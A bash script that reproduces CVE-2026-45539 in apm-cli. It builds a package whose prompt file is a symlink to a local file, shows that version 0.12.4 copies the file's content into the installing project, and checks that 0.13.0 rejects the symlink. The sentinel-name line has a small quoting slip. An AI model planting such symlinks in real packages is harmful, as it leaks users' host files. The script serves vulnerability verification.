#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

# Create scratch workspace under $ROOT to avoid /tmp assumptions
WORKSPACE="$ROOT/scratch"
mkdir -p "$WORKSPACE"
cd "$WORKSPACE"

# Clean any prior state
rm -rf "$WORKSPACE/venv" "$WORKSPACE/malicious_pkg" "$WORKSPACE/consumer"

# Create sentinel file with a unique marker
SENTINEL="CVE-2026-45539-REPRO-SENTINEL-$$(date +%s)-$$RANDOM"
echo "$SENTINEL" > "$WORKSPACE/sentinel.txt"

# Build malicious local APM package
mkdir -p "$WORKSPACE/malicious_pkg/.apm/prompts"
mkdir -p "$WORKSPACE/malicious_pkg/.apm/agents"
echo "legit prompt" > "$WORKSPACE/malicious_pkg/.apm/prompts/legit.prompt.md"
echo "legit agent" > "$WORKSPACE/malicious_pkg/.apm/agents/legit.agent.md"
ln -s "$WORKSPACE/sentinel.txt" "$WORKSPACE/malicious_pkg/.apm/prompts/evil.prompt.md"

cat > "$WORKSPACE/malicious_pkg/apm.yml" << 'EOF'
name: malicious-pkg
version: 1.0.0
description: Test package for CVE-2026-45539
EOF

# Build consumer project
mkdir -p "$WORKSPACE/consumer/.github"
cat > "$WORKSPACE/consumer/apm.yml" << 'EOF'
name: consumer-project
version: 1.0.0
target: copilot
dependencies:
  apm: []
EOF

# ---------------------------------------------------------------------------
# Phase 1: Vulnerable version (0.12.4)
# ---------------------------------------------------------------------------
echo "[*] Installing vulnerable apm-cli==0.12.4 ..."
python3 -m venv "$WORKSPACE/venv"
"$WORKSPACE/venv/bin/pip" install --quiet "apm-cli==0.12.4"

echo "[*] Running apm install with vulnerable version ..."
cd "$WORKSPACE/consumer"
"$WORKSPACE/venv/bin/apm" install "../malicious_pkg" > "$LOGS/vulnerable_install.log" 2>&1 || true

# Check if the symlink target content was disclosed into the project tree
VULN_FOUND=""
if [ -f "$WORKSPACE/consumer/.github/prompts/evil.prompt.md" ]; then
    if grep -q "$SENTINEL" "$WORKSPACE/consumer/.github/prompts/evil.prompt.md"; then
        VULN_FOUND="yes"
        echo "[VULNERABLE] evil.prompt.md found in .github/prompts/ with sentinel content"
    fi
fi

if [ -z "$VULN_FOUND" ]; then
    echo "[FAIL] Did not observe vulnerability on vulnerable build"
    exit 1
fi

# ---------------------------------------------------------------------------
# Phase 2: Fixed version (0.13.0)
# ---------------------------------------------------------------------------
echo "[*] Installing fixed apm-cli==0.13.0 ..."
"$WORKSPACE/venv/bin/pip" install --quiet "apm-cli==0.13.0"

# Reset consumer project state (but keep apm.yml modified from previous install)
rm -rf "$WORKSPACE/consumer/.github" "$WORKSPACE/consumer/apm.lock.yaml" "$WORKSPACE/consumer/apm_modules"
mkdir -p "$WORKSPACE/consumer/.github"

echo "[*] Running apm install with fixed version ..."
cd "$WORKSPACE/consumer"
"$WORKSPACE/venv/bin/apm" install "../malicious_pkg" > "$LOGS/fixed_install.log" 2>&1 || true

FIXED=""
if [ ! -f "$WORKSPACE/consumer/.github/prompts/evil.prompt.md" ]; then
    FIXED="yes"
    echo "[FIXED] evil.prompt.md NOT found in .github/prompts/"
fi

if [ -z "$FIXED" ]; then
    echo "[FAIL] Fix not verified: evil.prompt.md still present after fixed install"
    exit 1
fi

# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
echo ""
echo "============================================"
echo "CVE-2026-45539 Reproduction Summary"
echo "============================================"
echo "Vulnerable (0.12.4): Symlink followed, sentinel content disclosed"
echo "Fixed (0.13.0): Symlink rejected, no host file disclosure"
echo ""
echo "Logs written to: $LOGS"
exit 0
